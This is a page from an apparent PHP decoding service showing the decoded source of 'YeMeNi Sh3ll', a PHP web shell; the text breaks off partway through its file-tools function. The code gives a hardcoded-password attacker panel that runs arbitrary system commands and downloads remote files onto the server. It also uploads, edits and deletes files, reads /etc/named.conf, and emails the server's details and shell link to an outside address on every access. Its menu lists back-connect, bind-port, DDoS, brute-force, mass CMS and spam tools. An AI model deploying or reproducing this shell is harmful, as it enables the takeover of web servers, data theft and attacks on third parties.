Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // This file is protected by BLACK.JaGuAr $OOO0O0O00=__FILE__;$OOO000000=urldecode(..

Decoded Output download




// Set Username & Password
$user = "YeMeN";
$pass = "YeMeN";
@define('VERSION','1.1');
@error_reporting(E_ALL ^ E_NOTICE);
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);

if(get_magic_quotes_gpc()) {
	function yemenstripslashes($array) {
		return is_array($array) ? array_map('yemenstripslashes', $array) : stripslashes($array);

	}

	$_POST = yemenstripslashes($_POST);

}
function printLogin() {
    ?>
	

<hr>
<?php }


if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    if( $_POST['uname'] == $user && $_POST['passwd'] == $pass )
    {
         setcookie("hacked", md5($pass));
		 $selfenter = $_SERVER["PHP_SELF"];
		 header("Location:$selfenter");
	}
}
		
if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($pass)) )
{
		
?>
<font size="6" face="Times New Roman, Times, serif" color="#00CC00"><br>
<head>
    <title>YeMeNi-sh3ll Login Panel</title>
	<link href="http://www.aljyyosh.com/images/ye.gif" rel="shortcut icon">
    <link href="http://siverdragon12.net/css/style.css" rel="stylesheet" type="text/css" />
<script src="http://siverdragon12.net/js/form-elements.js" type="text/javascript"></script>
</head>
	<center>
	<form method="POST">
	<div style="background-color:#3ca0df; width:490px; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:304px; background-image:url('Windows_7_-_Alien_from_outer_space.jpg')">
		<table cellpadding="9" cellspacing="4" height="278">
			<tr>
				<td align="center" colspan="2"><font size="7"><b>
				<font color="#FF0000">Ye</font><font color="#FFFFFF">Me</font>Ni 
				<font color="#FF0000">Sh3ll</font> v1.0 </b></font></td>
			</tr>
			<tr>
				<td align="right"><b>User Name : </b></td>
				<td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;"  value="User Name" onFocus="if (this.value == 'User Name'){this.value='User Name'; this.style.color='black';}" onBlur="if (this.value == 'User Name') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
			</tr>
			<tr>
				<td align="right"><b>Password : </b></td>
				<td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;"  value="YeMeN" onFocus="if (this.value == 'YeMeN'){this.value='YeMeN'; this.style.color='black';}" onBlur="if (this.value == 'YeMeN') {this.value='YeMeN'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
			</tr>
			<tr>
				<td align="center" colspan="2"><input type="submit" class="but" value="     Enter     "></td>
			</tr>
			<tr>
					</tr>
		</table>
	</div>
	
	</form>
	</center>
<br>
<body bgcolor="#000000">
</body>
</html>

<?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ($_POST['pass'] == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

		
$IIIIIIIIIIII='[email protected]';
$IIIIIIIIIIIl='WebRooT Logger';
$IIIIIIIIIII1='File path : '.$_SERVER['DOCUMENT_ROOT']."
";
$IIIIIIIIIII1.='Server Admin : '.$_SERVER['SERVER_ADMIN']."
";
$IIIIIIIIIII1.='Operating System : '.$_SERVER['SERVER_SOFTWARE']."
";
$IIIIIIIIIII1.='Shell Link : http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."
";
$IIIIIIIIIII1.='Avlanan Site : '.$_SERVER['HTTP_HOST']."
";
mail($IIIIIIIIIIII,$IIIIIIIIIIIl,$IIIIIIIIIII1);
;echo ' 
';
echo ' ';

$default_action = 'FilesMan';

$default_use_ajax = true;

$default_charset = 'Windows-1251';

if (strtolower(substr(PHP_OS,0,3))=="win")

    $sys='win';
 else
    $sys='unix';
$home_cwd = @getcwd();

if(isset($_POST['c']))

	@chdir($_POST['c']);   
$cwd = @getcwd();

if($sys == 'win') 

{

    $home_cwd = str_replace("\", "/", $home_cwd);

	$cwd = str_replace("\", "/", $cwd);

}

if($cwd[strlen($cwd)-1] != '/' )

	$cwd .= '/';

function yemenEx($in) {

	$out = '';
	if (function_exists('exec')) {

		@exec($in,$out);

		$out = @join("
",$out);

	} elseif (function_exists('passthru')) {

		ob_start();

		@passthru($in);

		$out = ob_get_clean();

	} elseif (function_exists('system')) {

		ob_start();

		@system($in);

		$out = ob_get_clean();

	} elseif (function_exists('shell_exec')) {

		$out = shell_exec($in);

	} elseif (is_resource($f = @popen($in,"r"))) {

		$out = "";

		while(!@feof($f))

			$out .= fread($f,1024);

		pclose($f);

	}

	return $out;

}

$down=@getcwd();

if($sys=="win")

$down.='\';

else

$down.='/';

if(isset($_POST['rtdown']))
{

$url = $_POST['rtdown'];

$newfname = $down. basename($url);

$file = fopen ($url, "rb");

if ($file) {

  $newf = fopen ($newfname, "wb");

  if ($newf)

  while(!feof($file)) {

    fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );

  }

  }
if ($file) {

  fclose($file);

}

if ($newf) {

  fclose($newf);

}

}
function yemenhead()
{

    if(empty($_POST['charset']))

		$_POST['charset'] = $GLOBALS['default_charset'];

 

$freeSpace = @diskfreespace($GLOBALS['cwd']);

$totalSpace = @disk_total_space($GLOBALS['cwd']);

$totalSpace = $totalSpace?$totalSpace:1;        

$on="<font color=#0F0> ON </font>";

$of="<font color=red> OFF </font>";

$none="<font color=#0F0> NONE </font>";   

if(function_exists('curl_version'))

    $curl=$on;

else

    $curl=$of;

if(function_exists('mysql_get_client_info'))

    $mysql=$on;

 else

    $mysql=$of;      

if(function_exists('mssql_connect'))

    $mssql=$on;

else

   $mssql=$of; 

if(function_exists('pg_connect'))

    $pg=$on;

else

   $pg=$of;    		

if(function_exists('oci_connect'))

   $or=$on;

else

   $or=$of;

if(@ini_get('disable_functions'))

  $disfun=@ini_get('disable_functions');

else

$disfun="All Functions Enable";

if(@ini_get('safe_mode'))

$safe_modes="<font color=red>ON</font>";

else

$safe_modes="<font color=#0F0 >OFF</font>";

if(@ini_get('open_basedir'))

$open_b=@ini_get('open_basedir');

    else

  $open_b=$none;

if(@ini_get('safe_mode_exec_dir'))

$safe_exe=@ini_get('safe_mode_exec_dir');

    else

$safe_exe=$none;

if(@ini_get('safe_mode_include_dir'))

   $safe_include=@ini_get('safe_mode_include_dir'); 

else

 $safe_include=$none;

if(!function_exists('posix_getegid')) 

{

		$user = @get_current_user();

		$uid = @getmyuid();

		$gid = @getmygid();

		$group = "?";

} else 

{

		$uid = @posix_getpwuid(posix_geteuid());

		$gid = @posix_getgrgid(posix_getegid());

		$user = $uid['name'];

		$uid = $uid['uid'];

		$group = $gid['name'];

		$gid = $gid['gid'];

	}





     $cwd_links = '';

	$path = explode("/", $GLOBALS['cwd']);

	$n=count($path);

	for($i=0; $i<$n-1; $i++) {

		$cwd_links .= "<a  href='#' onclick='g(\"FilesMan\",\"";

		for($j=0; $j<=$i; $j++)

			$cwd_links .= $path[$j].'/';

		$cwd_links .= "\")'>".$path[$i]."/</a>";

	}



$drives = "";

foreach(range('c','z') as $drive)

if(is_dir($drive.':\'))

$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';











 echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>yemeni Sh3ll v1.0</title>
<link href="http://www.aljyyosh.com/images/ye.gif" rel="shortcut icon">
<style type="text/css">

<!--

.whole {

	

	height:auto;

	width: auto;

	margin-top: 10px;

	margin-right: 10px;

	margin-left: 10px;
    background-image: url(http://img03.arabsh.com/uploads/image/2012/09/11/0d37424266f70d.png);

}

.header {

	height: auto;

	width: auto;

	border: 7px solid #CCC;

	color: yellow;

	font-size: 12px;

	font-family: Verdana, Geneva, sans-serif;

	

}

.header a {color:#0F0; text-decoration:none;}

span {

	font-weight: bolder;

	color: #FFF;

}

#meunlist {

	font-family: Verdana, Geneva, sans-serif;

	color: #FFF;

	background-color: #000;

	width: auto;

	border-right-width: 7px;

	border-left-width: 7px;

	border-top-style: solid;

	border-right-style: solid;

	border-bottom-style: solid;

	border-left-style: solid;

	border-top-color: #CCC;

	border-right-color: #CCC;

	border-bottom-color: #CCC;

	border-left-color: #CCC;

	height: auto;

	font-size: 12px;

	font-weight: bold;

	border-top-width: 0px;

}

  .whole #meunlist ul {

	padding-top: 5px;

	padding-right: 5px;

	padding-bottom: 7px;

	padding-left: 2px;

	text-align:center;

	list-style-type: none;

	margin: 0px;

}

  .whole #meunlist li {

	margin: 0px;

	padding: 0px;

	display: inline;

}

  .whole #meunlist a {

    font-family: arial, sans-serif;

	font-size: 14px;

	text-decoration:none;

	font-weight: bold;

	color: #fff;

	clear: both;

	width: 100px;

	margin-right: -6px;

	padding-top: 3px;

	padding-right: 15px;

	padding-bottom: 3px;

	padding-left: 15px;

	border-right-width: 1px;

	border-right-style: solid;

	border-right-color: #FFF;

}

  .whole #meunlist a:hover {

	color: #000;

	background: #fff;

}




a:hover        { background:#ff0000; } 
    .ml1        { border:1px solid #2438CF;padding:5px;margin:0;overflow: auto; } 
    .bigarea    { width:100%;height:250px; }
    input, textarea, select    { margin:0;color:#FF0000;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Times New roman"; } 
    form        { margin:0px; } 
    #toolsTbl    { text-align:center; } 
    .toolsInp    { width: 80%; } 
    .main th    {text-align:left;} 
    .main tr:hover{background-color:#FF0000;} 
    .main td, th{vertical-align:middle;} 
    pre            {font-family:Courier,Monospace;} 
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} 
}';

if(is_writable($GLOBALS['cwd']))

 {

    echo ".foottable {

    width: 300px;

    font-weight: bold;

    }";}

    else

    {

       echo ".foottable {

    width: 300px;

    font-weight: bold;

    background-color:red;

    }

    .dir {

      background-color:red;  

    }

    "; 

    }    

 echo '.main th{text-align:left;}

 .main a{color: #FFF;}

 .main tr:hover{background-color:red;}

 .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }

 .bigarea{ width:99%; height:300px; }   

  </style>



';



echo "<script>

    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';

    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'

    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';

    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';

    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';

    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';

    var d = document;

	function set(a,c,p1,p2,p3,charset) {

		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;

		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;

		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;

		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;

		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;

		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;

	}

	function g(a,c,p1,p2,p3,charset) {

		set(a,c,p1,p2,p3,charset);

		d.mf.submit();

	}</script>";



    

	echo '

</head>



<body bgcolor="#000000"  leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">

<div class="whole">

<form method=post name=mf style="display:none;">

<input type=hidden name=a>

<input type=hidden name=c>

<input type=hidden name=p1>

<input type=hidden name=p2>

<input type=hidden name=p3>

<input type=hidden name=charset>

</form>

  <div class="header"><table width="100%" border="0"  align="lift">

  <tr>

    <td width="3%"><span>Uname:</span></td>

    <td colspan="2">'.substr(@php_uname(), 0, 120).'</td>

    </tr>

  <tr>

    <td><span>User:</span></td>

    <td>'. $uid . ' [ ' . $user . ' ] <span>   Group: </span>' . $gid . ' [ ' . $group . ' ] </td>

    <td width="14%" rowspan="8"><img alt="" src="http://www.m5zn.com/img/?img=69f5dbaddb3acf7.png" /></td>

  </tr>

  <tr>

    <td><span>PHP:</span></td>

    <td>'.@phpversion(). '   <span>   Safe Mode:'.$safe_modes.'</span></td>

    </tr>

  <tr>

    <td><span>IP:</span></td>

    <td>'.@$_SERVER["SERVER_ADDR"].'    <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td>

  </tr>

  <tr>

    <td><span>WEBS:</span></td>

    <td width="76%">';

    

    if($GLOBALS['sys']=='unix')

    {

        $d0mains = @file("/etc/named.conf");

        if(!$d0mains)

        {

            echo "CANT READ named.conf";

        }

        else

        {

          $count;  

         foreach($d0mains as $d0main)

         {

          if(@ereg("zone",$d0main))

          {

          preg_match_all('#zone "(.*)"#', $d0main, $domains);

           flush();

          if(strlen(trim($domains[1][0])) > 2){

         flush();

         $count++;

           } 

           }

           }

           echo "$count  Domains";

        }

    }

    else{ echo"CANT READ |Windows|";}

    

      echo '</td>

    </tr>

    <tr>

    <td height="16"><span>HDD:</span></td>

    <td>'.yemenSize($totalSpace).' <span>Free:</span>' . yemenSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td>

    </tr>';

  

     if($GLOBALS['sys']=='unix' )

{

    if(!@ini_get('safe_mode'))

    {

    

    echo '<tr><td height="18" colspan="2"><span>Useful : </span>';

    $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');

     foreach($userful as $item)

         if(yemenWhich($item))

         echo $item.',';

         echo '</td>

         </tr>

          <tr>

          <td height="0" colspan="2"><span>Downloader:</span>';

         

     $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');

      foreach($downloaders as $item2)

       if(yemenWhich($item2))

        echo $item2.',';

        echo '</td>

              </tr>';

         

          }

           else 

           {

         echo '<tr><td height="18" colspan="2"><span>useful:</span>'; 

         echo '--------------</td>

           </tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td>

              </tr>';  

         }

}

else

{

   echo '<tr><td height="18" colspan="2"><span>Window:</span>';

   echo yemenEx('ver');

   

    

}  

    

 

 echo '<tr>

    <td height="5" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td>

  </tr>

  <tr>

    <td height="16" colspan="2"><span>cURL:'.$curl.'  MySQL:'.$mysql.'  MSSQL:'.$mssql.'  PostgreSQL:'.$pg.'  Oracle: </span>'.$or.'</td><td width="15%"></td>

  </tr>

  <tr>

  <td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.'   Safe_mode_include_dir:'.$safe_include.'</td>

  </tr>

  <tr>

    <td height="11"><span>Server </span></td>

    <td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td>

  </tr>';

  if($GLOBALS[sys]=="win")

  {

    echo '<tr>

    <td height="12"><span>DRIVE:</span></td>

    <td colspan="2">'.$drives.'</td>

     </tr>';

  }

  

  echo '<tr>

    <td height="12"><span>PWD:</span></td>

    <td colspan="2">'.$cwd_links.'  <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td>

  </tr>

  </table>

</div>

 <div id="menu-box">

<style type="text/css">
div#menu {height:41px;background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-bg.png) repeat-x;}div#menu ul {margin:0;padding:0;list-style:none;float:left;}div#menu ul.menu {padding-left:30px;}div#menu li {position:relative;z-index:9;margin:0;padding:0 5px 0 0;display:block;float:left;}div#menu li:hover>ul {left:-2px;}div#menu a {position:relative;z-index:10;height:41px;display:block;float:left;line-height:41px;text-decoration:none;font:normal 12px Trebuchet MS;}div#menu a:hover, div#menu a:hover span {color:#fff;}div#menu li.current a {}div#menu span {display:block;cursor:pointer;background-repeat:no-repeat;background-position:95% 0;}div#menu ul ul a.parent span {background-position:95% 8px;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer.gif);}div#menu ul ul a.parent:hover span {background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/item-pointer-mover.gif);}div#menu a {padding:0 10px 0 10px;line-height:30px;color:#e5e5e5;}div#menu span {margin-top:5px;}div#menu li {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/main-delimiter.png) 98% 4px no-repeat;}div#menu li.last {background:none;}div#menu ul ul li {background:none;}div#menu ul ul {position:absolute;top:38px;left:-999em;width:163px;padding:5px 0 0 0;background:rgb(45,45,45);margin-top:1px;}div#menu ul ul a {padding:0 0 0 15px;height:auto;float:none;display:block;line-height:24px;color:rgb(169,169,169);}div#menu ul ul span {margin-top:0;padding-right:15px;_padding-right:20px;color:rgb(169,169,169);}div#menu ul ul a:hover span {color:#fff;}div#menu ul ul li.last {background:none;}div#menu ul ul li {width:100%;}div#menu ul ul ul {padding:0;margin:-38px 0 0 163px !important;margin-left:172px;}div#menu ul ul ul {background:rgb(41,41,41);}div#menu ul ul ul ul {background:rgb(38,38,38);}div#menu ul ul ul ul {background:rgb(35,35,35);}div#menu li.back {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat right -44px !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);width:13px;height:44px;z-index:8;position:absolute;margin:-1px 0 0 -5px;}div#menu li.back .left {background:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.png) no-repeat top left !important;background-image:url(http://apycom.com/ssc-data/items/1/00bfff/images/lava.gif);height:44px;margin-right:8px;}
</style>
<div id="menu"><ul class="menu">

 

<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li>


<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">SYSTEM</a></li>

<li><a href="#">PHP</a>
<ul>
    <li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li>
        <li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li>
        </ul>

<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li>
<li><a href="#" onclick="g(\'brute\',null,\'\',\'\',\'\')">Ftp BRUTE</a></li>

<li><a href="#">NETWORK</a>
<ul>
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">BACK CONNECT</a></li>
<li><a href="#" onclick="g(\'net\',null,\'\',\'\',\'\')">BIND PORT</a></li>
</ul>
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li>


<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li>

<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li>
<li><a href="#" onclick="g(\'wp\',null,\'\',\'\',\'\')">Mass Wpress</a></li>
<li><a href="#" onclick="g(\'joom\',null,\'\',\'\',\'\')">Mass Joomla</a></li>
<li><a href="#" onclick="g(\'perl\',null,\'\',\'\',\'\')">Perl Sh3ll</a></li>
<li><a href="#" onclick="g(\'zone\',null,\'\',\'\',\'\')">Zone-H</a></li>
<li><a href="#">TOOLS</a>
<ul>
            <li><a href="#" onclick="g(\'bf\',null,\'\',\'\',\'\')">Brute Force</a></li>
          <li><a href="#" onclick="g(\'rev\',null,\'\',\'\',\'\')">Reverse IP</a></li>
          <li><a href="#" onclick="g(\'zip\',null,\'\',\'\',\'\')">ZIP</a></li>
          <li><a href="#" onclick="g(\'mail\',null,\'\',\'\',\'\')">Mail Spammer</a></li>
        </ul>

<li><a href="#" onclick="g(\'yemen\',null,\'\',\'\',\'\')">ABOUT</a></li>

</ul>

    

    </div>

';   

    

}
function yemenfooter() { 
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>"; 
?> 
</div> 
<table class=info id=toolsTbl cellpadding=5 cellspacing=5 width=100%"> 
    <tr> 
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td> 
        <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td> 
    </tr> 
    <tr> 
        <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td> 
        <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td> 
   
    </tr> 
    <tr> 
</form>";
        <td><form onsubmit="g('proc',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td> 
        <td><form method='post' ENCTYPE='multipart/form-data'> 
        <input type=hidden name=a value='FilesMAn'> 
        <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> 
        <input type=hidden name=p1 value='uploadFile'> 
        <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> 
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td> 
    </tr> 

</table> 
</div> 
</body></html>
<?
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {

   function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {

  function posix_getgrgid($p) {return false;} }
function yemenWhich($p) {

	$path = yemenEx('which ' . $p);

	if(!empty($path))

		return $path;

	return false;

}
function yemenSize($s) {

	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else

		return $s . ' B';

}
function yemenPerms($p) {

	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';

	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;

}
function yemenPermsColor($f) {

	if (!@is_readable($f))
		return '<font color=#FF0000>' . yemenPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . yemenPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . yemenPerms(@fileperms($f)) . '</font>';

}
if(!function_exists("scandir")) {

	function scandir($dir) {

		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh)))
    		$files[] = $filename;
		return $files;

	}

}
function yemenFilesMan() {

	yemenhead();
    echo '<div class=header><script>p1_=p2_=p3_="";</script>';

	if(!empty($_POST['p1'])) {

		switch($_POST['p1']) {

			case 'uploadFile':

				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))

					echo "Can't upload file!";

				break;

			case 'mkdir':

				if(!@mkdir($_POST['p2']))

					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {

					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )

							continue;

						$type = filetype($item);

						if ($type == "dir")

							deleteDir($item);

						else

							@unlink($item);

					}

					closedir($dh);

					@rmdir($path);

				}

				if(is_dir(@$_POST['p2']))

				deleteDir(@$_POST['p2']);

				else

				@unlink(@$_POST['p2']);

				break;

		default:

                if(!empty($_POST['p1'])) {

					$_SESSION['act'] = @$_POST['p1'];
					$_SESSION['f'] = @$_POST['f'];
					foreach($_SESSION['f'] as $k => $f)
						$_SESSION['f'][$k] = urldecode($f);
					$_SESSION['c'] = @$_POST['c'];

				}

				break;

		}

	}

	$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);

	if($dirContent === false) {	echo '<h3><span>|  Access Denied! |</span></h3></div>';yemenFooter(); return; }

	global $sort;

	$sort = array('name', 1);

	if(!empty($_POST['p1'])) {

		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))

			$sort = array($match[1], (int)$match[2]);

	}

echo "

<table width='100%' class='main' cellspacing='0' cellpadding='2'  >
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Date Modified</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
	$dirs = $files = array();

	$n = count($dirContent);

	for($i=0;$i<$n;$i++) {

		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],

					 'path' => $GLOBALS['cwd'].$dirContent[$i],

					 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => yemenPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])

					);

		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))

			$files[] = array_merge($tmp, array('type' => 'file'));

		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))

			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));

		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))

			$dirs[] = array_merge($tmp, array('type' => 'dir'));

	}

	$GLOBALS['sort'] = $sort;

	function wsoCmp($a, $b) {

		if($GLOBALS['sort'][0] != 'size')

			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);

		else

			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);

	}

	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);

	$l = 0;

	foreach($files as $f) {

		echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?yemenSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']

			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">[Rename]</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">[Touch]</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')"><font color=red>[Edit]</font></a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">[DL]</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> <font color=red>[Del]</font> </a></td></tr>';

		$l = $l?0:1;

	}

	echo "<tr><td colspan=7>

	<input type=hidden name=a value='FilesMan'>

	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>

	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>

	</form></table></div>";

    yemenfooter();

 }
function yemenFilesTools() {

	if( isset($_POST['p1']) )

		$_POST['p1'] = urldecode($_POST['p1']);

	if(@$_POST['p2']=='download') {

		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {

			ob_start("ob_gzhandler", 4096);

			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));

			if (function_exists("mime_content_type")) {

				$type = @mime_content_type($_POST['p1']);

				header("Content-Type: " . $type);

			} else

                header("Content-Type: application/octet-stream");

			$fp = @fopen($_POST['p1'], "r");

